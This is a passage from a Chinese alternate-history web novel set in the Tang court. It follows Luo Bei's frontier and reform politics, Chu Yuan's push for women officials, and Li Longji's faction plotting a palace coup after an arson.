“你”姚崇忽地起身,几乎不敢相信自己的耳朵,“你的意思是” “我已经被陛下委以坐镇碛西之重任,三年五载,是不会回来的。”洛北睁开眼睛与他对视,目光一片澄明:“以公之能,最少三年,最多五年,必将使朝廷焕然一新。到了那个时候,才是我和你计较私怨的时候。” 姚崇一时不知道说什么好,他费力地不去看洛北的眼睛,把桌边的瑞兽香炉,靠墙的紫檀书架,头顶的彩绘藻井都望了一眼,才又落到洛北身上:“你是想让我将功补过?” “你可以这样说。”洛北声音平静,“不过,我更喜欢的说法是,徐徐图之,以观后效。” 这是医家“治病救人”的说法。姚崇几近苦笑不得,洛北把朝廷当成什么了?又把他姚崇当成什么了?他提高声音: “你不怕我入朝拜相之后就追究你纵放阙特勤的罪名?” 洛北微微勾起唇角,声音里竟带着一点笑意:“若真有这样一日,那我也只能认了,连明察如狄公都能看错人,何况是我?” 谈到狄仁杰三字,姚崇一口气郁在喉咙中,堵得他僵在那里不知如何动作,他瞪大了眼睛,想问洛北什么,却是怎么也问不出口。片刻之后,他才长叹一声,终是哑然失笑,重新坐回椅子上: “你手中握着安西北庭的精兵强将,还有碛西以西数十万部族子弟……任谁担任宰相,也不敢冒着边疆烽烟大起的风险和你过不去。更何况,即使我入朝拜相,政事堂也不是我说了算。” 萧至忠、宋璟、张孝嵩等人同他姚崇一样都是为国为民之人不假。但大家出身不同,经历不同,又怎么可能在宰相位置上亲密无隙? 萧至忠与他姚崇从来就不是一路人,宋璟素有刚正之名,张孝嵩又是洛北的死党如何摆平这些人,会是姚崇上任宰相时的第一件事。 洛北轻声道:“执政施政,讲的是兼顾多方,大局为重。萧相公出身士族,宋相公和孝嵩一个做过小吏,一个军功起家,加上你的魄力和手腕才能把新政顺利推行下去,救民于水火。” 还有一点,姚崇在他刻意压低的声音里听明白了,这些不同出身、不同际遇的宰相同坐政事堂,也保证了皇帝只需稍有制衡,便能轻松避免被宰相们架空。 真是荒唐——姚崇看着眼前这个二十八岁的青年,心中还有些不敢置信,十年之前,洛北还是个立在郭元振身后,连话都不会多说几句的少年人,如今玩起鬼神不言的帝王心术,也是如鱼得水: “事缓则圆的道理,不用洛将军给我讲。不过,我还有一事不解。” 洛北似乎没预料到他还有话要问,只把眉头一挑,望了过来:“请讲。” “我入京以来,已经听闻陛下数道新政,其中不乏大胆之举。这些新政,应当与你洛将军有关系吧?” 他虽然发问,但并没有要洛北回答的意思,洛北也就半抱着手臂看着他,并不答话。 “既然你对朝政大弊都看得分明,又已经着手推动改制,为什么你自己不愿意留在长安?”姚崇问,“总不能真是因为习惯草原的气候吧?” 洛北轻轻一笑:“这话陛下和郭大帅都已经问过我一遍。不同的腹稿我这里还有几篇,若蒙姚公不弃,尽可以背出来让你品鉴。” 姚崇苦笑一声:“到了这个份上,洛将军就不能和我交个底么?我可不想做了宰相之后,还花时间琢磨你在庭州、碎叶想干什么。” “实话就是,如今的大唐西陲只有我才能镇得住。” 姚崇被他语气中的傲气惊得瞪大双眼,立刻起身,正要开口说些什么,又像想起什么似的坐了下去:“我愿闻其详。” “姚公去过朔方,知道那里的情形。草原上气候多变,是种不了庄稼的。即使是汉人,游牧数代之后,也会胡化——这是天时地利所决定之事,你我都无法更改。所以,要在边疆把位置坐稳,最重要的就是两条:一是要大兴屯田,练兵训兵,二是要安抚震慑,使诸部心悦诚服。” 姚崇想了想:“也就是说,这个人必须是个朝廷将军,同时也是个草原可汗。这未免也太苛刻了,朝中除了你之外,还有谁能做到?” “事实如此,称不上苛刻。我想,这也是太宗皇帝接受‘天可汗’尊号的初衷。”洛北抬眼望着姚崇:“如今朝局崩乱如此,以至于满朝除了我之外没有人能做到这一点,那不是我要考虑的问题——而是你要考虑的。” “我可还没有答应陛下要入朝为相。”姚崇顿觉头痛。 “哦?”洛北笑了,“姚公有条件?” “不错!我要陛下施仁政,罢边功,约束近臣、宦官,外戚。禁绝官场媚上之风,改以礼相待,广开言路,虚心纳谏,并罢绝一切宫观佛寺。” 姚崇重新坐回桌前,望着洛北: “教者,效也。上行下效,古今未绝。要是陛下自己不能以身作则,这场改革便是无源之水,无本之木,绝无可能长久。” 洛北知道姚崇的未尽之言,他缓缓起身,站到了那面绘着巨大地图的屏风边:“以我猜度,三年之内,我们定然还有一场大战要打。” 姚崇顺着他的目光看去,正落在地图上的“吐蕃”二字上:“吐蕃?可吐蕃议和使团正在长安,而且他们还在向大唐求娶金城公主……两国和亲,永结盟好,还保不了天下三年的和平?” 洛北摇了摇头:“姚公对吐蕃内政了解得太少了。求娶公主,两国议和,都是吐蕃的摄政太后赤玛雷的主张。如今她已经缠绵病榻数年之久,等她去世之后,其孙赤祖德赞必要在唐蕃边境做几番文章,好用军功把吐蕃的几家贵胄都打下去。” “你的意思是?”谈到边疆战事,姚崇就难以再和洛北争论对错,只能问他的意思。 洛北道:“入则无法家拂士,出则无敌国外患者。国恒亡。吐蕃战和不定,对大唐来说,未必是件毁天灭地的坏事。怕就怕,各地边将皆有私心,妄图挑起边患,为自己图谋升迁入阁之路。” 姚崇点了点头,大唐边境宽阔,边将无数,要他们人人都顾全大局,简直是不可能的。可一旦放任他们欺压部族,挑起战乱,大唐便会四面楚歌: “宋相公要在,一定会建议我们不奖边功,不赏边将。偃武修文,这样天下自然太平。洛将军觉得呢?” “不奖边功,不赏边将,不光堵塞边将以边功入朝之路,也堵住军士升迁之路。这样是会让将士们寒心的。”洛北摇了摇头:“我倒建议,对于各都督府、各都护府的长官也辅以一方执政官的标准来考评。” 姚崇一时没有反应过来:“这样干,兵部那些人,还有那些将领能同意?” “论品级,各都督府、都护府的长官都已经不在兵部铨考之列。”洛北道:“这套标准无需他们同意。只需要政事堂的诸位相公把态度摆明就是了。” 姚崇深吸一口气,起身一拜在地:“谢过洛将军的指点。” 洛北摆了摆手:“姚公不要虚礼,朝野皆知,我对朝政并无兴趣,素来只在边事上用心。今夜你我也没有谈及朝事,只是聊了点往事。” “我明白的,洛将军,塞外苦寒,保重。” 姚崇来时满腹疑窦,几步便要唉声叹气一番。离开时却步履轻快。褚沅端着一壶茶水进来,恰好与他擦肩而过,颇为好奇地望了一眼:“阿兄同姚公说了些什么?” 洛北将一杯茶水一饮而尽,又挥手示意褚沅坐下:“沅儿在外面站了多久?” “我。”褚沅讪讪起身,要道歉,又见洛北脸上并无愠怒神色,才小心翼翼地问:“阿兄怎么知道?” “茶水已经有点冷了,而且,我看到你手里攥着的另外一只茶盏了。”洛北示意她不必紧张:“这些事情我原也没有打算瞒着你,你要想听,光明正大地进来就是了。” 褚沅摇了摇头:“我不是有意要听你们谈话。只是为了阿兄郁郁不平。这样一个人,阿兄还能对他笑意相待,如今还举荐他入朝拜相!天下哪有这样的道理。” “功是功,过是过。姚崇刚愎自用,独断专权是事实,但他有一颗公心,一双硬腕也是事实。”洛北道,“他若能发挥所长,对大唐天下会是个好事,我也可以安心回庭州、碎叶去,不用担心朝中有人掣肘了。” 褚沅“嗯”了一声,并未接话。洛北却站起身,走到她身侧,自己端过茶壶倒了一杯: “倒是沅儿你……苏舍人向我提过,希望你留任宫中,继续为陛下制诰。我一开始并未同意,后来想想,塞外苦寒,不如长安生活安逸,所以,他的请求也不是不能考虑。你自己的意思呢?” 第217章 “我要用我的能力,为女官赢得代天牧民,执政一方的权力。” 褚沅神情一顿, 那张芙蓉似的面容上显出一点笑意:“阿兄这话,也有好几个人问过我了。” 自元宵殿试之后,张九龄奉吏部命转迁为殿中侍御史, 裴耀卿也蒙拔擢为国子祭酒。唯有褚沅身为女官, 吏部不敢随意授官,只能让她以虞国夫人的爵位与上官婉儿同时负责增设女官之事。 大明宫殿阁数千,宫人无数,想找一批读过书的女官执掌诰命,再想找出一间屋子来给女官们充作值房是再简单不过的事。 但此事又与皇帝要进行的宫人制度改革, 大放宫女等政策息息相关。设立名单,遴选人选,建立制度, 饶是褚沅在碎叶执政数年,也被这些庶务忙得脚不沾地了好几日,连觉都是在宫中凑合睡的。 “昨日我们已经议定, 要在既定的六局一司中增设一阁, 号为‘紫薇阁’,增设一名‘紫薇女史’执掌此阁,位与中书舍人相同,专为君主执掌诰命。上官太妃与太平公主商议着, 要让我来担任此职。” 她们商议此事时,就在新布置的紫薇阁中。春日暖阳倾泻而下, 照亮了临窗的大案。文房四宝皆已备齐,笔杆是青里透着黑点的湘妃竹,墨出自山东, 砚台更是江南的贡品,纸张稍普通些, 可对着光一照,也能照出点点洒金。 “都说了上官姑姑对褚姐姐最好。”曹珍娘往砚台中倒了些水,有一下没一下地研着墨:“这墨还是太后当朝的时候下面人贡给上官姑姑的。我们这些人要了多少次,上官姑姑连拿出来给我们看看都不行。结果褚姐姐设了这个紫薇阁,连口都不用开,上官姑姑就已经把这墨摆在这里了。” 上官婉儿笑着把桌上的一盘果子塞到她手里:“你呀,吃的都堵不住你的嘴。” 她坐在桌边,看见褚沅站在那里,望着一片白墙不说话:“褚沅,你在看什么呢?那白墙若是太空,改明去我那里拿几幅好字画来填补。你最喜欢的顾恺之,米南宫,我那里都还有几幅。” 褚沅笑了笑:“上官太妃抬爱了。若要我来决定,这里不应该挂字画,应当挂地图。” “挂地图?”上官婉儿面露笑意:“你仔细说说。” “宫官们大都幼年入宫,虽然谙熟律法典章,却对大唐天下的局势了解的不多。何处是山峰,何处有河谷,何地干旱,何地多雨……了解了这些,才能把下面的奏疏看明白。”褚沅道:“若上官太妃允许,我便去兵部要一幅来。” 上官婉儿点了点头:“我已经让人把左右两厢房和临近的殿阁收拾了一座出来,用以存储规章及往日奏疏。不当值的女官便可以在这两座殿阁之中查阅旧档。” 褚沅低头向她躬身:“那我代此后在此当值的诸多姐妹谢过上官太妃。” “陛下和皇后将此事委任于我,称不上谢字。”上官婉儿抬眼看她:“不过,听你的意思,你不打算留在宫里?长安有这么不好么?” “长安很好,紫薇女史亦是地位清贵,身负重任。我不是不愿意接受此任,而是对我来说,北庭安西的任命比这重要的多。”褚沅道。 “这倒是稀奇事了。”上官婉儿越发好奇地望着她:“北庭、安西能给你什么任命?一个判官、主事便已经了不起了。权掌中书,官居五品的重任,你竟不愿意接受?” 莫说是在宫内,便是在外朝,时人也以京官为贵,以外官为贱。一个八品的拾遗,就因为在长安任职,说出去比一些下等县的县令还要风光得多,以至于出现了京官被铨选至外地任职后不愿就任,以生病、丁忧等诸般理由推脱的情况。 褚沅低头一笑,她望着洛北,正如日前她望着上官婉儿的眼睛那样: “宫中女官为皇家制诰,已非一日。正因为有上官太妃,有库狄夫人等一应女官前赴后继,才有如今已经定例的紫薇阁与‘紫薇女史’。可,女子出任外官,代天牧民,却是自我辈而始,绝无先例。” “所以,纵然塞外苦寒,纵然艰难险阻,纵然安西、北庭至多授予我一个八品九品的判官职务,我也要去。我要去开天下风气之先,我要用我的能力,为女官赢得代天牧民,执政一方的权力。” “好啊。”洛北轻轻一笑:“既然如此,我们兄妹就一道回碛西去。” 隆熙元年二月十八,吏部发出任命,准许虞国夫人褚沅出任碛西掌书记,检校碎叶长史。同一日,太平大长公主上书请命,自愿出钱十万赞助女学之事,并请求皇帝准许她离开长安,至各州县巡视新设女学之事。 太平公主主动离开长安,便是自行远离政治中心,也是向皇帝示弱,李重俊自然没有不许的道理,他派出两名监察御史与太平公主同行,以示朝廷推行此事的决心。 太平公主离开长安的第三日,姚崇入朝,他领受兵部尚书兼同中书门下三品职务,再度进入宰相之列。 “陛下到底打的什么主意?”曲江池畔的一处院落之中,李隆基正与几个好友宴饮:“我原以为他推翻韦后登台,是要励精图治,匡扶大唐河山。结果他纵容女祸绵延不说,还串通了上官婉儿一帮人,搞出个什么女学女科来。真是荒唐。” 此间主人刘幽求已经年过半百,看模样却丝毫不见老态,走起路来,依旧是龙行虎步。他曾经登科入朝,却一直抑郁不得志,还是偶然与李隆基相识之后,才在这次宫变里捞了个官爵,他起身替李隆基斟了杯酒: “可如今雍州长史还是洛北兼任着,阿史那献和李多祚也都是成了精的狐狸,轻易动不得的。阿瞒没有听说,先皇长子李重福已经入了宫?” “幽求这话当真?”李隆基把目光望过去:“此事长安城里可是一点消息也没有。” 刘幽求摇了摇头:“要不是我住的地方好,能看到洛阳长安往来的官道,我也不可能知道这个消息。护送他入长安的人都是身披黑衣轻甲,军容严正,我猜,应当是北门的禁军。” “要是北门禁军出手,我应当能知道才是。”出身禁军的陈玄礼道:“说不定是陛下的私军。” “我就不信,我那皇兄被安乐和韦氏欺负了那许多年,还能攒下一支私军来。”李隆基摸着下巴想了想:“此事应当和洛北脱不了关系。” “碎叶郡王?”潞州县令张暐道:“他不是一向专心边事,不怎么插手朝政的吗?” 他这话一出,宴席上的几个人都笑了。 李隆基搂过张暐脖颈,笑道:“克明,你仔细想想,他如今不仅使持节镇碛西,还兼着雍州长史,说是节制中外军事也不为过了。要不表现出一副不关心朝政的样子,哪个皇帝能容得下他?” 张暐本也出身官宦之家,以门荫入仕,不过这些年担任潞州县令,对朝中诸事知道得不多,听到李隆基这样一说,才笑道:“怪我怪我,想得太少了。我自己罚酒一杯。” 李隆基自然不是要罚他的酒,众人一片笑哄,他自己却端起酒杯,兀自在那里沉吟: “不过,皇兄也不会一直这样倚重他。这次姚崇回朝拜相,就是再明显不过的信号。他以外藩边帅身份滞留长安已经太久太久,早就该回他的塞外去了。” 刘幽求笑道:“听闻姚相公久任相王府属官,与相王颇为投契,还教导过殿下读书?” “若非万不得已,我是不希望把父亲扯进来,不过姚崇确实是个可以争取的人选……等吧,等到洛北离京,到了那个时候——” 李隆基将杯中之酒一饮而尽,没有再说下去。 这一日来的比李隆基想的还要快,三月初三,上巳节,皇帝李重俊与先帝长子李重福一同出现在宫宴之上。李重福被赐了个谯王称号,还被入宗人府与相王一道协理皇亲国戚的事务。 “相王叔博学多才,雅致高望,朝野皆知。我这王兄多年漂泊,还望相王叔多加照顾才是。”宫宴之后,李重俊握着李旦的手,殷殷嘱托道:“朕还在长安城中为他寻摸一门亲事,若是相王叔有人推荐,是再好不过。” 李旦何尝不知皇帝这句话的意思是把监管李重福的责任丢给了他。可他也没有多少余地可选择,李重俊放太平公主外任,却把他留在长安,用意不过是想借着他竖立一座忠孝节义的牌坊。 好在李旦素来恬淡,昔年能以皇嗣身份辞让皇位给母亲,今日自然就能和李重俊一道表演仁孝的佳话。如今只是在演员之中加上李重福一人,称不上难办: “陛下放心。” 李重俊笑了:“好好好,那我就把谯王兄托付给相王叔了。” 李重福之事尘埃落定,宋璟与张孝嵩主导的考评也告一段落,洛北便再度向皇帝辞行:“陛下托臣以边疆,微臣深知责任深重,不敢长留长安。” 李重俊无奈道:“洛卿,朕本来还想留你在长安看过了恩科再走,何必如此着急?” “朝廷取士已有定规,微臣不敢逾越。”洛北道,“再说,西突厥各部还有些关于牧场的庶务留待我回去裁决。” 他把话说到了这个份上,李重俊只得下诏准许,洛北离开长安那一日,李重俊不仅特意登城门相送,除却礼制所规定的双旌双节外,还赐予他大将出征才有的斧钺: “朕以西陲托洛卿,边事勿相问也。” “微臣谨受命。” 洛北登台道礼,随即拔队西去。 马蹄踏出尘烟滚滚,旌旗遮云蔽日。 这一年距离他仓皇自突厥牙帐出逃,整整十二年。 第218章 姚崇的抉择 “照这个速度, 今年的金山大会怕是又要开不起来了。” 依照边帅出行的礼节离开长安不过三日,洛北就已经厌弃了这些繁文缛节。 他时常骑马在队列之间来回梭巡,希望队列行进得再快些, 但皇帝赐下的那些财宝, 随行的仪仗护卫,甚至是一路追随而来,要前往塞外定居的百姓……没有一项能让他如愿。 “大哥哥,金山大会是什么?” 慕容曦光已过了弱冠之年,时常往来吐谷浑诸部与长安之间。 如今大唐与吐蕃边事再起, 不少吐谷浑族人都追随慕容宣彻和论弓仁在青海前线浴血奋战。眼看洛北要去碛西,他便自请随同洛北一道,也好去青海前线慰问一番。 洛北放马慢行, 温声给他解释道:“西突厥各部旧俗,每逢初一十五,各部首领随同可汗一道拜谒山神与祖先。我统领各部之后, 恢复了这个旧俗, 同时也在金山下的草原上召开大会,使众部子女比试技艺,取得名次者皆有奖励,另外还会拔擢一些人进入我的亲军与卫队之中。” “听上去挺有意思。”慕容曦光笑道, “若大哥哥准许,我也要下场争个名次去。” “那是不行的。”哥舒亶自他们身后打马上来, “你家大哥哥早有明令在先,为了公平起见,各部首领只能充作评委, 一律不准下场。” 慕容曦光只得颔首应了,哥舒亶见他无聊, 就同他说起金山大会上的诸多故事来。 两人交谈之时,洛北再度催马急行到了队列最前,他放眼回望过去,队列还是绵延数里,一眼望不到头。 “将军!”正在他回望之际,一贯沉默地随侍在他身侧的王训忽而开口,“若您允许,我可以在金山大会下场比试么?” 洛北闻言,不由得微微一愣,转头看向王训,只见他目光坚定,神情恳切。他心下奇怪:“训儿对比试这些感兴趣?” “不,争胜非我本意。”王训脸上微微泛起红云,“但我听闻洛将军的近卫亲军之中多的是高手,不少人后来都拜将封侯,我想,若有机会,我能入将军的近卫之中么?” 洛北确实没有想到王训会这样说——以王训的身份和门荫,待他成年之后,大唐朝廷便会恩赏他一个官职。他本来不必从小兵做起。 “我是打算借着这次金山大会的机会,重编一支三百余人的近卫队伍。但我的近卫可没有那么好当……就说一条吧,你要花不少时间学习其他语言。” “学其他语言?”王训一时没有反应过来。 “碛西是诸部杂处之地,你的同袍兄弟多的是说其他语言的人。我会命人教导他们汉话,可也会要我的汉人近卫学一些简单的突厥话、吐蕃话。”洛北道,“光这一点,就要花你不少功夫。” “我不怕花功夫!”王训声音不禁提高了八度,“只要将军肯花时间教导,我愿意学!” 洛北颔首,还未开口说些什么,声音又被一阵急促的马蹄声打断。 褚沅一人一骑自后队追了上来。离开了长安,她连风帽都戴得少了,大部分时候都一身襦裙,昂首骑行于众人之间。 “将军。”她躬身道礼,“我有要事必须当面禀报,可否请将军移步?” 王训已得洛北应允,心下大喜,见他们两人显然是有要事相谈,便自顾自地催马到一边去了。 洛北见过褚沅这幅模样:“出事了?” “宫中出事了。”褚沅四下张望一番,又刻意压低了声音:“紫薇阁遭人纵火,殿阁焚烧一空,还烧伤了两个想去救火的宫人。” 洛北神情一凝,又很快放松下来:“纵火宫禁,对抗国策,这是谋反叛乱之兆,陛下一定会追查到底,绝不会放过幕后主使的。沅儿不必担心。” 褚沅摇了摇头:“我不是担心,我虽然离开长安,但还算消息灵通……阿兄知道纵火的人是谁么?” 她神情严肃,带得洛北也严肃起来,他沉思片刻,才道:“相王府的人?” “是李隆基的朋友刘幽求。”褚沅温声道,“此人曾经参加制科考试,被授予县尉之职,后来弃官而去。是李隆基提携他,才在宫变之后混了个官职。” 洛北对李隆基身边这些亡命之徒早有耳闻,但没想到他们能干出纵火宫禁的事情: “不应该啊。临淄王虽然年轻,可并不愚蠢,便是他们不满陛下所作所为,想要改朝换代,也绝不该在此时打草惊蛇,除非……” “除非李隆基已经做了十足准备,就是要借此事笼络一批对新政不满的大臣。”褚沅轻声道,“阿兄,你看,我们应该怎么办?” “我会修书给父亲和孝嵩,请他们留意此事。”洛北斩钉截铁地道,“对了,沅儿,除了你之外,还有谁知道此事?” “我的消息网很牢靠。”褚沅想了想,“若是阿兄决意要插手此事,我可以请他们暗中把消息透露给三法司的官员。” 洛北颔首:“先这么做吧,若能以一个刘幽求换李隆基罢手,也算是件好事。”他说到此处,又不免叹息一声。 “阿兄怎么了?可是担心阿史那将军?” “父亲么?他一向治军有方,又出身蕃族,自然比许多将领更能拢住卫士们的心。我不是在担心他。只是,以我对李隆基的了解,他是不会轻易罢手的。可惜啊,相王一个谦谦君子,要被自己的儿子带到万劫不复的境地里去。” 日暮时分,钟声准时响彻整个罔极寺。太阳的余晖把罔极寺笼入一片温暖的光晕之中,连新开的牡丹也在这片光晕下显得更加耀眼。 罔极寺在大明宫与相王府邸之间,是太平公主为女皇武则天祈福所修建的,穷极华丽,是京都之名寺。 寺内遍植了牡丹千余棵,赶上牡丹盛放的季节,姚崇就会寄寓寺内,好在公务之余欣赏这片美景。 这一日也不例外,他如往常一样,自忙不完的公务中起身,漫步到花园里去赏花。 他踏入花园时,恰逢一阵微风拂过,牡丹花瓣随风轻舞,如彩蝶翩跹,他不禁半蹲下来,仔细端详起那层层叠叠的花瓣起来。 “姚相公好闲情。”有人远远地喊了一声。 姚崇与此地寺主往来极多,素来是不让人打扰自己的。这突兀的声音又是从何而来?他心下疑惑,走近一望,在见到来人面孔时,不由得眉头一跳:“见过赵王殿下。” “朝中多的是喊我临淄王的人,只有姚公愿称我一声赵王。”李隆基笑道,“姚相公是个厚道人啊。” 姚崇微微躬身,语气依旧平和而恭敬:“殿下言重了。殿下身份尊贵,无论何时,臣都应以礼相称。” 李隆基走近几步,目光扫过满园牡丹,又落在姚崇身上,似是随意地说道:“姚相公公务繁忙,却仍有闲暇来此赏花,看来心境倒是不错。” 姚崇微微一笑:“臣公务之余,来此稍作休憩,也是为了更好地为陛下分忧。这牡丹虽美,却也比不上大唐的盛世繁华。” 李隆基点了点头,目光深邃,似是在思索什么,片刻后才道:“姚相公,我今日来此,其实是有事相商,可否移步禅房一叙?” 姚崇已觉得一股不详的预感从自己的脊背爬了上来,这股预感终于在他把李隆基邀到禅房,屏退左右之后达到了巅峰:“不知殿下有何指教?” “姚相公,大唐天下危矣。”李隆基振声道,“相公权掌中枢,难道看不出来?” …… 把李隆基送走之后,姚崇坐在窗前,陷入了一片沉思之中。 李隆基是个说话极有煽动性的人,否则他也不能在短时间内拉到这十几个亡命之徒与他同行。姚崇虽然久历宦海,但听他提出的那些愿景,也不免心潮澎湃。 可这一切是真的吗?这一切又值得吗? 姚崇苦苦思索着,一直没有思索出什么解法。直到寺僧来给他送饭时的叩门声,才打乱了他的想法。 他起身接过寺僧手中的食盒,道了句:“阿弥陀佛,有劳了。” “姚施主不必客气。”寺僧再度合掌,向他躬身道礼而去。 姚崇揭开食盒,盒中已有一碟干笋、一块白煮豆腐、一碗五香干丝并一碗热粥。 他不免轻轻一笑,满腹心绪都因这些东西稍微平息——这些东西都是他素来爱吃的,可因着材料便宜,做法简单,除了佛寺之中,他这个宰相平日并不容易吃到。 他将食盒放在桌上,拿起筷子,开始细细品味起这些简单的食物。干笋的口感爽脆,白煮豆腐的清淡,五香干丝的醇厚,还有那碗热粥的温润,每一口都吃得他颇为满足,思绪乱飞之下,倒让他想起了上一次见到这诸多菜品同时摆在他桌上的时候。 那是十年前,在郭元振主政的凉州,在他以灵武道大使出镇朔方的时候,前一日他与郭元振宴饮了一夜,晨起时顿觉头疼欲裂,那时候,便是店家以这几碟小点抚平了他的心情…… 他想到此处,似乎察觉到什么不对,只觉得背后一阵冷汗直冒,连拿筷子的手都有些抖。 他立刻喊来随从:“来人!来人!拿纸笔来!” 随从捧着笔墨纸砚一道进了禅房之中,姚崇提笔要写什么,笔杆一立,只在纸上留下了几个墨点。 “罢了!”他当机立断,披起外袍,“纸笔还是不够安全,我自己去。” 第219章 “诸位兄弟,随我入宫!诛杀昏君!” 天色未亮之时, 阿史那献就立在外间与人低声说话。两个人说的都是突厥话,话语又快又急。便是他刻意压低了声音,还是惊起了沉眠中的成纪县主。 “是什么人来了?”成纪县主伸手召来守夜的小侍女相问。 小侍女走到外间探头张望, 正被洛北金棕色的眼眸逮个正着, 他略一歪头,垂下的编发之间的金饰便是一碰,发出一点声响。 还未及他开口的时候,小侍女便一溜烟地跑进屋里去了。 “是个年轻的突厥武士。”她绘声绘色地给成纪县主比划,“他生得真英俊呐, 比可汗殿下还要英俊些。” “在说谁?”阿史那献步入房中,正听到话语的后半截,听得是一头雾水。 “夫君一大清早又是和谁在说话?”成纪县主大大地打了个哈欠, 她已是有了身子的人,较平时更为嗜睡一些,“平白无故地扰人清梦。” 阿史那献将她的手臂放回锦被之中, 替她掖上被角:“没什么, 北庭故地那边的事情,我已经打发他们去追洛北的队伍了。” “哦?”成纪县主微微挑眉,她自孀居之后再嫁阿史那献已有数年,从未听他为北庭、安西的故地烦过心, “什么事情连洛北都压不住,非要闹到你这里来?” “部族内部的事情, 说来复杂。等我这次当值回来,再同你分说吧。”阿史那献好哄歹哄,终于把妻子哄睡, 才起身对侍女嘱咐道: “最近长安很乱,你在夫人房中要把屋子看好。不要叫外头的事情惊扰了她。” 侍女似懂非懂地应了, 她目送阿史那献重新披上铠甲,自内室中大步而出,回宫城中执勤去了。 长安城中确实弥漫着一股诡异的焦灼氛围。紫薇阁的大火被不少大臣解释为“牝鸡司晨,上天示警。”意在以此阻止皇帝推行女科女学——如多年前群臣反对割让九曲之地给吐蕃时那样,无数前来长安参加恩科的学子物议纷纷,表示不愿与妇人同场应考。 但李重俊似乎铁了心地要推行此制,他先是派人勘查现场,指出大火并非是天灾,而是人祸,进而在大朝会上指责有人“居心不诡,毁谤朝廷。以人力伪作天象,借着上天示警,妄图对抗国策。”说话之间,便将一批朝臣赶出长安,流放到岭南、碛西去。 皇帝的强硬态度无疑让不少大臣心生畏惧,但也有不少人依旧反对,甚至暗中议论,商议对策……朝野议论连绵数日,直到恩科开场。 “不能再等了。”黑夜之中,李隆基一拍桌子,“等到恩科发榜,又有无数士林学子要被我那皇兄笼到旗下——他是皇帝,自有君临天下的权力,拖得越久,朝局越对我们不利。” 刘幽求沉吟片刻:“殿下虑的是,如今陛下登基不久,羽翼未丰,倘若假以时日,叫他施恩于禁军,咱们要把人调动起来就更难了。” 他们在宫变那日没有来成的禁苑总监钟绍京的家中共谋大事。钟绍京在一边听着他们议论,不住地觉得心惊肉跳: “赵王殿下可要考虑仔细,陛下登基以来,既复李多祚、阿史那献之位,又在禁军中大加封赏,就靠咱们这几个人……鼓动不起多少势力。” 陈玄礼一摆手:“哼,李多祚宿卫宫中都多少年了,他不动窝,下面的人也升不上去啊。最可恨的是他素来任人唯亲,自己是女婿、儿子,沾亲带故的契丹人……一波波地往上提拔,禁军里真正有功的将士,他一个也不肯上报。” 刘幽求沉思道:“这样看来,从左羽林军下手,要比从右羽林军下手容易得多。” “不错。”李隆基沉声道,“正巧,左羽林卫将军慕容曦光前些日子随着洛北一道离开了长安,如今被提拔起来的郝灵荃不过是个没甚背景的小人物……” “殿下,我们……”钟绍京见他们越说越张扬,不免有些心惊肉跳,“我们真的要这么做吗?” 神龙及唐隆两场政变,皆有禁军将领鼎力支持方能功成,如今他们不过控制了些许中下层的军官,便要暴动……这听上去,怎么听怎么不靠谱。 李隆基冷笑一声:“可大(钟绍京表字可大)怕了?现在去朝廷告密还来得及。” “岂敢!”钟绍京连忙躬身道,“属下唯殿下马首是瞻。” 他早在今上即位时就上了李隆基的船,帮着他在韦家与安乐公主府大加屠戮,就算如今投奔朝廷,李重俊也不会再重用他。他不敢去赌。 李隆基这才颔首:“都说这个郝灵荃是献默啜之首才得的富贵。想必此人必是勇猛有余,谋略不足。他若得知有人许以高官厚禄,或许会动摇心思。” 他一边说,一边懊恼。政变之时,他光顾着斩草除根,忘记了派兵入宫,竟让高力士在乱军之中被杀——若高力士在,他也不会对这些宫中人士如此陌生了。 刘幽求点头附和:“殿下所言极是。左羽林军内部本就对李多祚的任人唯亲心怀不满,若能借机拉拢郝灵荃,再在军中煽动一些有功却被压制的将士,或许能成大事。” 陈玄礼却皱眉道:“即便如此,左羽林军也只是一支力量。若要成事,还需更多禁军的支持。右羽林军有阿史那献坐镇,绝非易与之辈。而且,阿史那献与成纪县主的关系非同一般,他若察觉到一丝异动,陛下必然会有所防范。” 李隆基微微一笑,眼中闪过一丝狡黠:“阿史那献固然棘手,但成纪县主如今身怀六甲,他必定会将大部分精力放在保护她身上。右羽林军的日常事务,他未必能事事亲力亲为。我们若能趁机在军中制造一些流言,或许能让他分心。” 钟绍京仍有些担忧:“即便如此,我们也需要一个合适的契机。陛下如今对朝堂的掌控愈发严密,任何风吹草动都可能被察觉。” 李隆基站起身,走到窗边,望着漆黑的夜空,冷冷道: “契机,自然会有。恩科即将发榜,那些落榜的士子心中满是怨气,正是我们可用之人。而朝堂之上,反对女科女学的声浪仍未平息,陛下虽驱逐了一批大臣,但反对者仍不在少数。只要我们稍加煽动,朝野内外的不满情绪便会如燎原之势,难以扑灭。” 刘幽求眼中闪过一丝兴奋:“殿下高明!朝堂上的反对者可由我们暗中联络,那些落榜的士子也可由我们安排人手去煽动。只要让他们将怨气对准陛下,朝局便会陷入混乱。” 钟绍京皱眉道:“还是考虑得全面些好,洛北是陛下的死党,此刻又外放塞上。要是他起兵……” “放心!”李隆基朗声道,“我已经争取到了姚崇姚相公的支持。他在兵部执掌天下兵马——只要我们大事一成,他必会响应。” 他轻轻一笑:“到了那个时候,洛北是杀是抓,不就是我的一句话么?” 这一夜众人宴饮叙话,直到天亮才各自归府。临行前,钟绍京颇为疑虑地问了李隆基一句:“此事殿下真的不同相王殿下交代?” “我已与父王别府而居,有什么需要和他交代的?”李隆基喝得有些多了,扶着马车前辕才稳住身子,“再说了,这样杀头的事情,何必同他交代,万一大事不成,这不是带累父王吗?” 钟绍京见状,不敢再劝,只得把他扶上马车,送别而去。 三月十八,恩科放榜。和元宵的大殿试一样,此次殿试再度采用了各衙门分别出题,糊名誊录的形式,称赞者称其选贤任能,批评者称其变更国制,一时之间,议论纷纷。 三月二十一,恩科进士陛见,恩科状元李无名带头上表,要求皇帝废止女学女科,重振纲常。 皇帝李重俊勃然大怒,要不是宰相萧至忠同宋璟一道劝阻,立时便要把这位新任状元贬斥出京。 反对声浪如风沙袭来,让下了朝的李重俊也不免怀疑自己,他召来素有刚正之名的张孝嵩:“朝野声浪如此,难道是朕错了吗?” 张孝嵩思索片刻,开口回答:“陛下,女学女科之事,乃是开创之举,自古以来未曾有过,故而朝野议论纷纷,实属正常。然则,陛下推行此策,本意在于广纳贤才,不分男女,以补国之所需,此乃高瞻远瞩之举。若因一时之非议便轻易放弃,实则有损陛下圣明之名,亦是对天下女子才学的辜负。” 